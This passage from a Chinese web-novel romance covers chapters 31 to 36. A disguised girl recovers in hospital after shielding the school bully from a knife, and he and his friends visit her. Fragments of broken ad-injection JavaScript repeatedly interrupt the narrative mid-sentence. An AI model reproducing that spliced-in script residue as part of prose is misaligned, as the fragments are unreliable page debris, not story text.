李明义出生书香门第,是四人中最学习成绩最好的,相较于其余两兄弟的不着调,他则比较温润沉稳。 霍毅只是“嗯”了声,也不知道是这一声是在回答张泽凯的问题,还是回答李明义的问题。 其实昨天发生那样的事,直接连在国外疗养的老太爷都惊动了,家中长辈阴谋化进行各种猜测,以为有人忍不住了要朝他们家动手。 没成想,查下去,才知道就是一起临时起意的行为。 那个小混混以为大哥等下要带他们干架,他才加入没几天,人有点怂,就想着先喝瓶酒壮壮胆,至于身上带着的匕首也是为了防身和拿出来唬人的。 谁成想,后面黄毛知道霍毅的身份,哪里敢动手,还下跪求饶。 老大下跪了,小弟肯定也要跟着跪,那人喝了酒,跪地上,越跪心里越不舒坦,而且他又不知道霍毅的身份,酒壮怂人胆,最后脑袋晕乎乎,拿出匕首就冲上去了。 那个地方刚好有监控,全过程都被清晰记录。 霍家人仔仔细细将监控看了好几遍,经过各种分析,得出一个结论,如果没有白家那孩子帮忙挡一下,那匕首就会从霍毅背后插入,刺穿他的心脏,霍毅就算万幸不死,身体也会因此伤到根本。 而遇到如此凶险之事,差点丢了小命,为什么霍毅还会被霍父打。 可以理解为长辈被吓到,一阵后怕之后,需要发泄下。 更直白点的说就是,霍父觉得平时对孩子的操练明显还不够,孩子的成长空间还很大。 霍父想让霍毅记住这次的教训,堂堂霍家的小少爷差点被个随随便便的小喽啰伤害到性命,这种耻辱要时时刻刻记住了。 几人看出他明显不想谈论昨天的事,便都没再说什么。 辰东扯了把椅子坐下,他和霍毅一样是军三代,只不过霍家祖上当官经商的都有,到现在算是个行业遍地开花。 而辰东家太爷爷那辈还是泥腿子,到他爷爷这辈才开始发展起来的,底蕴差了些,所以才没能进入京都四大家族里。 两人每年都会被送进军营一两个月的,辰东不管怎么被严格训练,就是无法改掉跳脱的性子。 “哥,患难见真情这话说的真没毛病。” 辰东是个闲不住嘴的,当然前提是和很熟的人待一起时。 他朝霍毅投去羡慕的目光,“那个白承继平时像个狗皮膏药似的粘着你,就他那副瘦儿吧唧的小身板,这种小跟班带在身边除了跑跑腿能做什么?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “别说,我一开始真挺瞧不上他的,整天死乞白赖的跟在你屁股后面,不管是想寻求你的庇护,还是想借此攀上霍家,反正挺烦人的,也就哥你念小时候的旧情,一直让他这么跟着。” “可是,谁能想到有事这家伙是真的上,还是那种豁出命的上。” 辰东说到这,不禁开玩笑道:“要是那白承继是女的,我都想劝哥你直接把人收了,这年头能这么不怕死的替人挡刀的,不是爱惨了那人,就是把那人的命看得比自己的命还重……” 张泽凯噗嗤笑出声来,打断他越来越不着调的话。 辰东瞪了眼过去,“难道我说错吗?要是有哪个女的能舍身救我,当然前提是个貌美的,救命之恩我一定以身相许。” 李明义没理两人,他看着霍毅问道:“今天要去医院吗?” 白承继就像霍毅的小尾巴,他们作为霍毅的好朋友,和他也算熟,不过是那种经常见却没怎么说过话的熟,当然为什么会这样,主要是白承继的性格使然。 辰东忙说:“要去的 话,我也要一起去。” 霍毅没有回答,他脑中又浮现起了昨天的画面。 极致的红,少年因为疼痛皱成一团的脸,白的让人心慌的唇,缓缓闭上的眼睛,身侧垂落的手…… 透过少年,他近距离与死神接触。 少年的身影在他脑中破碎,然后重新聚合,从前没放心上的人,第一次在他脑中留下了不可磨灭的印象。 “我换个衣服,等下就去。” 自己的救命恩人,不去看看怎么行。 霍家的长辈昨天已经去看过了,不过当时人还没醒,早上他已经接到电话,说人醒了。 后背的药水已经干了,霍毅起身去衣帽间换衣服,因为后背有伤,他穿了套宽松的黑色运动服。 四人下楼时,霍母正坐在客厅,看到几人要出去,问道:“你们几个要去哪?” 平时霍母一般不过问的,可能是被昨天的事吓到了,下意识的对儿子更上心了点。 第31章 校霸和他的女扮男装小跟班(05) 霍毅还没说啥,辰东已经抢先回答了。 “霍阿姨,我们要去医院。” “你们是要去医院看承继那孩子呀,嗯嗯,去吧,早上医院来电话说那孩子已经醒了,不过你霍叔下午才有空,你们先去看看,我们下午再过去。” 霍母一直知道儿子身边有这么个小跟班,平时帮儿子跑跑腿啥的,瞧着并不受儿子器重,但也没见着儿子将人打发走,她平时忙,当然没多去留心这么个孩子,偶尔提及也是用白家那孩子指代。 不过经过这次,霍母在称呼上都亲切不少。 几人正要出门,又被霍母喊住了。 “你们几个孩子还真是,去医院怎么能空手去,站那等下。” 霍母让管家去拿了几盒水果和滋补品过来,“不知道你们早上要去,不然早早就该让厨房炖点东西的,这些你们先带过去吧!” 想到几个孩子都是家里的大少爷,没干过伺候人的活,霍母不忘叮嘱道:“去了别干坐着,带过去的水果记得洗了,削皮切块给承继吃,那孩子有什么行动不便的,都要主动上前去搭把手知道吗?” 霍家本就是家风清正的人家,自家孩子如今受了人家如此大恩情,要是放古代,自家这边是女儿,或许都可能考虑要不要让自家孩子以身相许了。 当然,现在社会,提倡各种自由,家长们也不再像旧时期的封建大家长了,不会违背孩子意愿,擅自为孩子的人生做各种决定。 原本两手空空的四人组,出门时,四个人八只手没有一只是闲着的。 司机送他们到医院后并没有离开,当然也没有跟着他们去医院看人,而是在停车场等着。 下车后,辰东和张泽凯走在前面,霍毅和李明义两人稍稍落后几步。 来到医院的病房区,张泽凯回头问道:“病房号是多少?” 他和辰东昨天刚好没和霍毅在一起,收到消息后,知道两人都没事,就先去霍家等着好兄弟了,所以当然不知道人住哪间病房。 “503。” 李明义是陪同霍毅一起送人来医院的,所以他知道病房号。 听到敲门声,白幺幺脑中快速过了遍门外人可能是谁,最后她决定闭眼装睡。 反正不管来的是谁,现在的她都不太想应付。维持原主的人设有点累,先允许她消极怠工下。 没有回应? 张泽凯放下敲门的手,回头看向霍毅,“哥,怎么办,会不会睡着了?” 几人受霍毅影响,养成了进别人房间先敲门的好习惯,就算是现在要进的是病房,里面人没回应,他也不好意思直接推门去探究竟。 霍毅轻挑了下眉梢,两步来到门前,把手中礼盒放到地上,就在他准备亲自敲门时,门内传出了细微声响,仔细听有点像正压抑着什么的闷哼声。 少年痛苦隐忍的面容再次浮现在他脑中,想到某种可能,霍毅想也不想直接推门疾步而入。 辰东:哥,我还以为你要亲自敲门呢! 张泽凯:哥,刚刚的脸色好像有点不对劲呀! 李明义:……什么声音? 白幺幺快被自己蠢死了,只是砸吧砸吧嘴,下意识做了个吞咽动作,悲剧就发生了。 她竟然被自己的口水呛到了! 难受得她一下子咳出声来,然后立马反应过来外面有人,连忙咬着唇不让自己发出声来。 那种想咳嗽,却死死忍着,不敢用力大声咳出来的体验简直不要太难受了。 白幺幺憋的脸发红,胸腔喉间难受得紧,由于她身体大幅度的震动,还牵扯到了后背的伤口。 霍毅怎么都不会想到进来看到是这样的一副画面,少年弓着背侧躺在床上,小脸红红的,眼角微微湿润,像是在隐忍着痛意的样子。 脑袋空白了一瞬,身侧的手在他都没有察觉到的情况下,微微颤动下,他回头冲着跟进来的人低吼道:“快去喊医生。” 病床上人的情况,三人也都看到了,李明义离门口最近,他奔跑着出去找医生。 在场的,霍毅情绪波动最大,之后就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是他了,因为他也是亲眼看到平时还算熟悉的人差点死去的画面。 “哪里痛?再忍忍,医生马上就来了。” 霍毅半蹲在床边,他不会安慰人,特别是现在这种情况,说话的语气虽有点生硬,但声音或许是他平生最温柔的一次了。 霍毅有点无措,手轻抬了下,又放下,一时找不到自己能做什么。 辰东和张泽凯无声对视,开始用眼神交流。 辰东:不是说情况稳定,没什么大碍了,现在这是? 张泽凯:希望不要出现意外,而且看这情况,哥好像开始在意这小子了。 辰东:肯定要在意呀,人家那是豁出命来救哥的,养条狗在身边久了都有感情,这小子跟在哥身边十几年了,哥要是没点感情在,就他那脾气,早把人赶走了。 张泽凯:也是,人心都是肉长的,哥就是典型的面冷心热。 白幺幺:“……” 夭寿啊,要死了! 如果知道装个睡而已,会闹出这么大乌龙,她一定不会有消极怠工心思。 她很想喊,不用叫医生,可是李明义动作太快了,只留给她一道残影。 而因为她张唇的动作,被她死死压下的猛烈咳意,犹如开闸的洪水奔向她的喉咙,一阵撕心裂肺的咳嗽声在病房中响起。 霍毅在旁边看得急红了眼而不自知,他伸手帮少年拍拍背,手才伸出一半,想到少年后背的伤口后收了回来。 辰东和张泽凯继续眉眼交流。 辰东:这小子今天不会挺不过去了吧?! 张泽凯:等下别乱说,没看哥那脸色吗? 辰东:…… 这时李明义带着一行人急匆匆赶来了。 听说病房的病人出状况了,出事的还是那间病房的病人,而来喊医生的是李二少,可把那医生吓到了,甚至直接惊动了刚好在医院里的副院长。 谁让这个病人是霍家的恩人,霍家特意交代医院要好好照顾的对象,而霍家也是这家医院第一大股东。 第32章 校霸和他的女扮男装小跟班(06) 副院长见到霍毅也在,刚想打招呼,就见霍毅冲着医生催道:“还不赶紧过来给他看看。” 被呛到引发的咳嗽就是那么回事,放任咳个痛快,人就舒坦了。 在医生进来时,白幺幺的咳嗽已经接近尾声,人也渐渐舒坦了。 眼瞅医生已经走到跟前,准备上手给她做检查,她身体下意识往后挪了挪,躲开医生的手。 医生尴尬的收回手,看向霍毅,等待他的下一步指示。 白幺幺清清嗓子,低了低头有些难为情的小声道:“医生,我不需要检查,我没事的,刚刚……刚刚我就是不小心被口……喝水呛到了。” 霍毅四人:“……” 医院副院长及一众医护人员:“……” 想到少年刚刚的模样,霍毅以为少年是在讳疾忌医,商量的话语用着命令的语气说出。 “刚刚咳成那样,还是让医生仔细检查下。” 白幺幺手揪住被子,眼神躲闪,不太敢与霍毅对视,“我真的没事,就是……” 她咬了咬后槽牙,豁出去道:“害怕咳太用力会扯到伤口,想把咳意忍回去,没想到就这样了。” 说完白幺幺耷耷下脑袋,一副做错事的模样。 霍毅皱眉,“伤口被扯到了?” 他转头对医生道:“去看下他伤口。” 白幺幺:“……” 后背有伤,没办法缠束胸,她现在病号服下面是真空的,没看她一直是含着胸坐着,努力降低胸前那两个小包子的存在感。 医生要检查她的伤口,那不得让他脱掉衣服或者掀起衣服。 现在进来的医生并不是那个已经被白母重金收买的主治医生,就算是,房间里这么多人,她要怎么把人都请出去。 “霍…霍少”。 白幺幺死死揪着衣服下摆,表现出很抗拒的模样。 “我不想检查,我想回家!”小小声的,可能是刚才咳太厉害了,还透着点沙哑。 才十六岁的孩子,遭这么大罪,小小任性下没毛病吧! 霍毅第一次遇到让他觉得棘手的事,换成别人,他说一就是一,对方只有听得份,没有第二种选择。 “为什么不想检查?”霍毅难得这么有耐心。 白幺幺松开衣服下摆,改玩手指,低着头就是不说话。 刚刚想起束胸,担心秘密被发现,那种压抑在心里深处的委屈一下子被释放出来。 鼻头不受控制的一酸,心也一揪一揪的难受。 病房内一下子陷入寂静。 几个大人尴尬的站着,谁让病房里做主的是几个孩子。 嘀嗒,什么滴落在了手背上,白幺幺并没有察觉到,站在她前面的霍毅捕捉到了,视线停留在手背上那点湿润处,瞳孔微缩了下。 哭了? 他想起昨天从头至尾,少年好像没掉过一滴泪。 算了,身体是人家的,既然人家不想检查,那就不检查。 霍毅朝副院长摆手,示意他带着人赶紧出去。 好歹是他的人,脸面他必须帮忙顾着。 副院长急匆匆过来,除了想在霍少面前露个脸,还想着看看能不能说上几句话,加深点印象。 没想到最后是这样的,他小小失望了下。 离开病房,他还是留个心眼,去找了白幺幺的主治医师,了解了下病情,确定伤势不重,伤口处理的很好,没有恶化的风险他才安心。 病房里,白幺幺意识到自己哭了,羞赧极了,把头埋得低低的。 霍毅静静地站着,紧抿着唇,不知道在想什么。 辰东,张泽凯,李明义三人你看我,我看你,不明白事态怎么就往如此诡异方向发展了。 也不知道过了多久,霍毅走到桌边倒了杯水递到白幺幺面前,“喝水。” 昨天流了那么多血,现在又流了那么多水,他还是第一次知道男的哭起来能流那么多眼泪。 “嗝”。 还哭着的白幺幺突然被打扰,直接打了个哭嗝。 没办法,原主这具身体就是个爱哭的,白天要伪装男孩子,各种真实情绪没办法流露,经常晚上躲在被窝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里哭。 辰东噗嗤差点笑出声来,被他生生忍住了,不过也惹来了张泽凯和李明义两人的白眼。 哭得有点累了,嘴唇还发干,白幺幺试探的抬起头,接过面前的水,同时说了声谢谢。 她捧着杯子小口小口的喝着水,眼睛并没闲着,开始小心翼翼的打量起房里的四个少年。 男主,嗯,很男主! 其他三个深情男配,嗯,是挺有那个味道的!! 同样十六岁,也不知道这四人是吃什么长大的,一个比一个高,最矮的都有一米七八了。 而原主目前才一米六五,作为女孩子,这个身高已经算中等偏上了。 可惜原主对外就是男孩子,他这身高就很不够看了。 特别是他还喜欢追在已经一米八几的男主身后,就曾被几个看管他的人吐槽过,到底是他保护男主,还是男主保护他。 霍毅是谁,感知敏锐,再说少年的目光不算隐晦,虽不明白少年为什么要看他,不 过他依旧神色未变,仿若没察觉般。 只是当发现少年视线移开,落在身后的几个兄弟身上,甚至停留的时间比看他时还久,他心中竟生出些许不悦。 “想吃什么水果?” 霍毅出声打断少年的动作。 白幺幺下意识问道:“都有什么水果?” 两个果篮是辰东提着的,他直接把果篮放到病床边的桌上,“喏,白承继,你看看想吃什么水果,我给你洗。” 辰东可还记得霍母的交代,而且看在这人救了自己兄弟的份上,他态度比平时好太多了。 早上只喝了碗粥,刚才那一番折腾下来,真的很耗费精力,白幺幺觉得自己好像有点饿了。 果篮里的水果一个个看着水灵灵的,品质很好,视线落下一颗颗红彤彤饱满的草莓上,她下意识抿了抿唇。 原主和她一样也爱吃草莓,只不过原主要努力扮好一个男孩子,像爱吃草莓这种爱好,原主根本不敢让人知道。 原主下意识觉得草莓是女孩子吃的,男孩子吃会显得娘炮。 第33章 校霸和他的女扮男装小跟班(07) 那草莓看着就甜,超级想吃,可白幺幺还是收回视线,选了自己不讨厌不喜欢吃的苹果。 这一屋子的别看都才十五六岁,却没一个简单哪里能逃过他们的眼睛。 辰东以前是真的不喜欢这人,自身没那个能力硬气起来,可天天跟在哥屁股后面,狗都懂得仗人势,虽然这人如果敢打着他哥的名号在外面狐假虎威,别说他,就是他哥肯定也不允许。但是,其实也硬气点,不要总是表现出一副软弱可欺的模样。 好歹,在外面人看来你是有靠山的,那靠山还是霍毅,别人打狗也会看看主人的。 死都不怕了,怎么还这副模样,想吃个草莓都犹犹豫豫不敢说,真是理解不了。 要不是人现在是病号,还是自家哥的救命恩人,辰东那嘴绝对忍不住的,机关枪扫射一通,看能不能把人骂改性了。 李明义上前帮忙拆果篮,像是才发现果篮里有草莓,直接拍板道:“草莓不经放,也一起洗了,不然放坏了可惜。” 白幺幺静静坐那玩着手指,耳朵却是竖起来的,眼角余光更是时不时在病房里扫荡一圈。 听到李明义的话,想到果篮里草莓的卖相,人不自觉的吞咽了下口水。 “我来。” 李明义拿着草莓正要去洗,被一只手半路截胡了,他抬头微微有些诧异的看着已经拿着草莓离开的背影。 后背被人轻轻撞了下,回头一看是张泽凯。 张泽凯无声的冲着他说:回神啦!同时示意他到外面聊聊。 李明义猜到他想聊什么,点头向外走去。 原本还算热闹的病房一下子就安静下来,只剩白幺幺和辰东两人。 “喂,你真不怕死吗?” 辰东拉了把椅子坐到病床边,目光复杂的打量起白幺幺。 白幺幺:……喂啥喂,她有名字的,真没礼貌! 继续玩着手指,还掩嘴了打了个哈欠,白幺幺发誓打哈欠她绝对不是故意的,正常生理反应,突然想打就打了。 “喂,白承继,我在和你说话。” 辰东半个身体探向病床,还拿手在白幺幺面前晃了晃,不知道还以为想确认她瞎没瞎。 白幺幺像是受到惊吓般身体抖了下,慢慢抬头,嘴唇有些干还有些白,“辰,辰少,你刚是在和我说话吗?” 辰东:“……” 他刚刚有做什么吗? 他刚刚没欺负人吧! 辰东不自在的轻咳两声,“我刚刚当然是在和你说话。” 白幺幺轻轻“哦”了声,沉默两秒,才一脸歉意道:“我刚刚走神了没听清,辰少你能再说一遍吗?” 辰东:“……你不怕死吗?” 明明是一样的问题,辰东感觉第二次问,他对答案已经不感兴趣了。 “我…我…” 白幺幺支支吾吾了半天,才憋出个字来。 “怕。” 自古谁不怕死,不然就不会有好死不如赖活着这样的话,不怕死的那都是没得选择的。 白幺幺的答案在意料之中,情理之内。 “怕死你昨天还……”,辰东是个心直口快的,话到一半想起对方舍命救的是谁,意识到后面的话说出来不妥,当即收住声。 霍毅端着洗好的草莓回来,刚好将两人的对话听了去,他停下脚步,并没有马上进去。 白幺幺知道辰东没说完的话是什么,她咬了咬唇,目光难得坚定,还想挺挺腰背,不过想到衣服下的情况,只能让自己眼神再坚定几分。 “我是霍少的小跟班,怎么可能眼睁睁的看着他受伤,昨天我大脑都还没反应过来,身体就已经先做出反应了,谁都不可以怀疑我对霍少的忠心,辰少你也不行。” 白幺幺自己都被恶心到了,不过原主救男主,的确是出于一个小跟班的忠心。 原主之所以像狗皮膏药般一直跟在男主身边,是有原因的。 在原主四岁的时候,她在幼儿园被其他小朋友欺负,小孩子可以是天使也可以是恶魔,坏起来,真没大人啥事了。 一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 群孩子不仅掐她,骂她,打她,还想脱光她的裤子要弹她的小鸡鸡。 原主早慧,知道自己是女孩子,不过妈妈要她当男孩子,这是她和妈妈的小秘密,不能让别人知道的。 那时,小小的原主真的很害怕,很害怕,就在她的裤子即将被扒下来时,小男主出现了,并且救了她。 原主跟在男主身边,的确有寻求庇护的私心,但更多的是想报恩,她不是真正的男孩子,但看过男孩子之间的相处,认男主做老大好像是她那时能做的最大诚意。 后来渐渐长大,懂得家世差距,原主就给自己定义为男主身边忠心的小跟班,但凡男主用得上她的,她二话不说就去做,只要男主不赶她走,她就会一直留在男主身边替他做事。 还有一点,原主的情况特殊,除了男主这个走得近的老大,她一个朋友都没有,所以在她心里男主不仅是老大,还是她半个朋友,她不贪心也有自知之明的,想成为男主的朋友她还不配。 辰东受不了白幺幺突然严肃的表情,心虚的眨了眨眼,“谁怀疑你对我哥的忠心 了!” 之前他也没怀疑呀,就是不信任而已,这不是所有大家族子弟的通病,很难去百分百信任一个人。 兄弟阋墙,背后捅刀的事多了去。 而且,不过是一个无关紧要的小跟班,谁会去在意他忠不忠心。 一个无用之人的忠心有屁用,辰东同学昨天之前一定会这么说,可是现实告诉他,无用之人的忠心关键时刻可以救命呀! 白幺幺低了低头,小声道:“我从小身体差,除了学习,其他事都做不好,很多男生的运动我都不会,还不会打架。霍少不嫌弃,让我一直跟在他身边,遇到危险,我没办法像其他小弟那样挥着拳头就上,除了像昨天那样,我似乎也做不了其他的。” 白幺幺一下子陷入“我很没用”的低落情绪中。 辰东本想说你小子还算有点自知之明,只是看到白幺幺双手抱膝坐着,瘦瘦小小的蜷成一团好不可怜,话咔在嗓子里说不出来了。 第34章 校霸和他的女扮男装小跟班(08) 霍毅端着草莓进来,经过辰东旁边时抬脚踢了踢凳子腿,“去医生那问下什么时候能出院。” “好的,哥,我马上。” 辰东是行动派,说马上,就是马上,一点不磨叽的。 病房里进来了个人,又出去了个人,依旧还是两个人。 一盆草莓被递到面前,白幺幺没有伸手去接,而是有些手足无措的抓着衣摆。 作为一个小跟班,怎么能够让老大伺候,又怎么配吃老大洗的水果。 霍毅皱眉,不是喜欢吃草莓? 霍毅道:“拿着。” 白幺幺:“……” 想到短暂接触过的女主,嗯,话挺多的,那种性格,配话少脾气不好的男主,挺互补的,很搭配。 “啊…哦……好的。” 白幺幺听话的接过男主手掌上的那盆草莓,只不过她接过来后就一直捧在手上,也没动嘴开始吃。 捧着东西也不知道吃,傻不楞登的! 霍毅第一次正视这个一直被他忽视的小跟班,身娇体弱还爱哭,脑子也不怎么聪明,除了给自己找老大这事上聪明一回,其他的…… 草莓都捧在手上了,不吃,就干看着吞咽口水,人不傻都做不出来。 霍毅好脾气道:“草莓是给你洗的,赶紧吃”。 白幺幺抬眸,一副受宠若惊的模样,“谢谢,谢谢霍少,不过,我,我不喜欢吃草莓的,那是女孩子才爱吃的。” 最后的那句话,白幺幺说得很小声,那是原主的观点,绝对不是她的观点。 白幺幺在心里呐喊,呜呜,我就是女孩子啊,我爱吃草莓啊! 可是不行的,任何会引发人猜忌、增加秘密暴露风险的行为,她都不能做。 当他眼瞎吗? 看不到嘴馋得都快流口水的傻样! 霍毅嘴角抽动了下,他以前怎么没发现自己这个小跟班是个爱口是心非的。 “我让你吃,你就吃,废话那么多干嘛”,霍毅语气强硬中不自觉带了点温柔,最后不忘补了句,“不许剩下!” 瞌睡送枕头,白幺幺岂有不接的道理。 她轻轻“嗯”了声,就差拍胸脯保证,“霍少,我会吃完,不会剩下的。” 草莓个头不小,盆里粗略数下不会超过十五个,要不是顾及形象,她一口一个,也就吃个十几口,还剩啥剩。 见白幺幺拿着一颗草莓开始小口小口的吃着,霍毅脸色像是春风拂过般,柔和不少。 想到什么,霍毅说:“以后你也跟着明义他们喊我哥。” “什么……咳……咳咳……” 白幺幺好好的在享受食物,男主不打商量的就给她抛出这么句话,幸好她反应快,不然别噎死找谁说理去。 白幺幺这么一咳,直接把霍毅吓到了,主要是刚来时才被吓到过,再来一次,饶是霍毅也有点招架不住。 真怕人咳着咳着,把血都给咳出来。 幸亏白幺幺这次只是咳了几下就停住,在她看不到的地方,霍毅暗暗松了口气。 “你,慢点吃,没人跟你抢。” 白幺幺无语了,她会突然咳那么几下,是吃太快导致的吗?! 霍毅可不管她想什么,从桌上抽了张纸巾递过去,视线落在白幺幺嘴角上,“擦擦。” 白幺幺:“???” 想到男主不可能无的放矢,她不明所以的接过纸巾,“谢谢,霍……哥!” 她是来做任务的,不是来受罪的,做任务和享受完全不冲突的。 背靠大树好乘凉,男主主动伸出大腿来给她抱,她是傻了才不抱。 拿纸巾将嘴巴四周都擦了遍,准备将纸巾团吧团吧扔掉前,白幺幺特意瞅了眼,上面果然有东西,没看错的话,应该是一小小块的草莓果肉。 白幺幺猜测,很大概率是她咳嗽时,从嘴巴里咳出来粘在了嘴角上。 不是一起出去的三人,很巧的一起回来了。 三人回到病房,看到的就是这样一个画面。 白色病床上,小小一团的少年抓着红彤彤的草莓在吃,少年手很白很白,和手中抓着的红形成鲜明对比,吃东西的模样像极了小仓鼠,十分投入,他们进来了也没发现。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而病房里的另一个人,嗯,就静静的看着少年吃东西,像是在观赏啥有趣表演,唇角竟还翘起了丝丝弧度。 反正就很不霍毅! 这是三人第一时间冒出的心声。 被一道视线盯着,白幺幺习惯着也就习惯了,现在又多了三道,她只能抬头先一一打招呼过去,“李少,张少,辰少。” 想到什么,她又问:“你们吃草莓吗?” 吃一颗少一颗啊,后面回家在白母眼皮子底下过活,她就很难吃到了。 哼,这几个人,最好不要和她抢吃的。 尽管她将眼中的不舍得隐藏的很好,不过哪里逃得过屋里其他四人。 李明义他们三人难得默契,异口同声道:“我们不吃,你自己吃。” 霍毅嘴角的弧度消失了,草莓是他洗的,刚这人都没问他要不要吃。 霍毅语气微冷道:“好好吃你的,别管他们!” “好的,哥。” 感受到他的情绪变化,白幺幺听话的继续低头专心吃她的。 她觉得男主挺不错的,竟然会主动帮她护住吃食,典型的面冷心热,是个大好人。 霍毅:“……” 所以这人从头至尾都没想过要问下他吃不吃吗?当然要是问了,他肯定不会吃的。 还有忠心的小跟班会在自己老大面前吃独食吗? 要不是自己已经知道他的忠心,就这情商去给别人当小弟,怎么可能得到老大的信任和器重。 身为大家族未来继承人,霍毅从小就被教育喜怒不形于色,好恶不言于表,悲欢不溢于面,他现在毕竟只是个十六岁的少年。 很多话不能直接说,很多情绪不能表露出来,这也就导致心理活动增多,俗称心理戏多了些。 想到什么,霍毅又道:“以后你直接喊他们三人名字。” 白幺幺:……难怪原主会不甘心呀!一下子从男主可有可无的小跟班变成男主的兄弟,嗯,她要是没理解错的话! 一开始以为让喊哥,只是出于救命之恩,称呼不过是个形式,只能说她已经是个被认可的小跟班了。 第35章 校霸和他的女扮男装小跟班(09) 不过现在让她直接喊李明义,辰东,张泽凯三人名字,之前让她喊的那声哥的意义就完全不一样了。 要怎么形容了,差不多就是她农奴翻身做主人,从小跟班一下子变成和老大称兄道弟的异姓兄弟了。 李明义、辰东、张泽凯三人:“……” 原来他们一开始的那声哥没听错,看来他们以往的四人组就要变成五人组,当然以前四人在聚在一起时,这人也跟着,只不过之后就不一样了。 霍毅的意思,三人没发表什么意见,想到这人的“英勇事迹”,他们心中早早就给人打上了能处的标签。 就是这性子,以后他们多照顾些就是了。 三个女人一台戏,五个男人却撑不起一台戏。 白幺幺吃完草莓,继续抱膝坐着。 四个人没一个出来活跃下场面,不是静静坐着,就是玩手机,也不提离开。 白幺幺掩嘴无声打了个哈欠,她合理怀疑一定是血流多了,还没补回来,所以她从早上醒来开始就比较容易犯困。 人家好歹是来看她的,还很懂人情世故,来探望她都没两手空空,带了很多一看就不便宜的东西来,知道他们不缺钱,不过不得不说他们有心了。 所以,白幺幺哪可能出声赶人,也不敢出声赶人。 眼皮越来越重,缓缓耷拉下来,身体摇晃了下,慢慢朝旁边倒去。 第一时间发现这边情况的是霍毅,一米八几的大高个噌的站起来,伸手稳住倒下的身体。 白幺幺真的很困,眼皮一合上,她就睡死过去了,反正肩膀被人捏住都没让她醒来。 没有误以为人是晕倒的惊慌,霍毅一眼就知道人是睡着了,只觉得很无奈,困了也不知道躺下,真傻! 考虑到伤口在后背,还缝了针,他动作轻柔的给人调整成俯卧睡姿,防止人压到背后的伤口。 霍毅第一次照顾人,还要顾及着不将人吵醒,本来就生疏的动作不免显得有些笨拙,扶着少年肩膀的手不小心划过少年的胸……那触感? 正当他要细想时,肩膀被搭上了一只胳膊,回头就看到好兄弟们嘴上都挂着调侃的笑意。 他甩开肩膀上的胳膊,收回手,给人盖好被子,才回头瞪了兄弟们一眼。 辰东想说啥,不过被霍毅眼疾手快的做了个噤声动作,同时示意人想说啥出去说,别将人吵醒了。 出了病房,辰东吃味道:“哥,你都没给我盖过被子!” 霍毅:“……” “滚一边去!” 李明义和张泽凯在后面笑了。 很快李明义收住笑意,表情认真的问:“哥,对于我们来说,救命之恩有很多种方法报答的,你真不考虑下换个方式。” 他们这些家族认个干亲都不是能随便认的,霍毅这样就变相认下个弟弟,当然这和霍家长辈把人收做干儿子肯定是不一样,不能比的。 可仅仅是这样,已经把人的身份抬高太多了,说句不好听的,白承继那小子以后只要不做让霍毅厌弃的事,他基本上能在京都横着走。 霍毅没有马上回答,他沉默了许久,才回了个“嗯。” 他也不知道要怎么和兄弟们解释,那种生死时刻被人以命相救的震撼,还是平时怯弱胆小沉闷,不怎么起眼的人,甚至他已经开始厌烦身后有这么个跟屁虫,动了想把人撵走的心思。 看出霍毅不想多说,李明义就没继续这个话题。 辰东上前在李明义没有防备的情况下,一把搂住他的脖子,整个人半挂他身上一秒钟才退开。 “读书人就是……心”,辰东想说心眼子多,心思重,可想到自己这兄弟别看斯斯文文的,手黑着了,嘿嘿笑着换了个说词,“想太多,就白承继那小子,我一手就能提溜起来的小弱鸡,一眼就能被我们四人看穿的人,再加上他那性子,之前要不是死乞白赖的跟在哥屁股后面,被个变相护着,早就被人欺负的骨头渣都不剩了。” 辰东也不知道自己为啥要拐着弯的替那小子说话,可能是那一刻的坚定地眼神触动了他。 张泽凯也过来拍了拍李明义的肩膀,“辰东说的没错, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 白承继也算是在我们眼皮子底下十几年了,就他那性子,还有我们看着,翻不起什么浪的。” 霍毅走在前面,身后兄弟的对话一字不落传到他耳中,不过他没有要加入的意思,而兄弟们的意思他懂的。 对于他们这个大家族来说,能用钱解决的问题都不叫问题,以往也不是没出现过挟恩图报,心越来越大,永远得不到满足,把自己路走窄了,同时也给家族带来些没必要的麻烦。 中午白母有事,让保姆送饭过来医院,白宝珠在家闲着无事,自告奋勇揽下这活儿。 没有敲门直接推门进来,看到里面只有躺床上睡着了的白幺幺一人,白宝珠眼底快速流露出淡淡的失望。 准备将带过来的保温桶放桌上,发现桌上摆着两个拆开的果篮,还有其他包装精致的礼盒。 有人来过了,是谁? 白宝珠迫不及待的想知道,她想也没想,伸手去推床上的白幺幺。 “哥,醒醒,快醒醒。” 白幺 幺真的很讨厌睡着时被人吵醒,意识还没完全清醒,她皱着眉抬胳膊在自己肩膀上作怪的那只手顶开。 白宝珠急切的想知道是不是自己猜测那人来过了,完全忘记床上的是伤患。 而正睡迷糊的白幺幺也忘记自己是伤患,被吵烦了,一咕噜从床上坐起来,动作太快,牵扯到伤口,痛得她脸皱成一团。 刚想发火,触及到白宝珠心虚的眼神,起床气啥的荡然无存。 “对不起,我刚才睡太沉了,没听到你喊我。” 低低的声音透着自责,白幺幺看到桌上的保温桶,“妹妹,你是过来给我送午餐的吗?谢谢!” 小时候的事,白宝珠记不太清楚,不过更大些,她和这个哥哥玩不来,兄妹感情很平淡。 当然是她单方面对这个哥哥感情平淡,至于这个哥哥对她,应该是很想靠近她,又怕被她讨厌,心中很在乎她的吧。 毕竟爸爸妈妈从小到大就让哥哥要保护妹妹,宠着妹妹,而哥哥也只有她这么一个妹妹。 第36章 校霸和他的女扮男装小跟班(10) 明明有个龙凤胎哥哥是多么让人羡慕的事,而且这个哥哥还很在乎很宠自己。 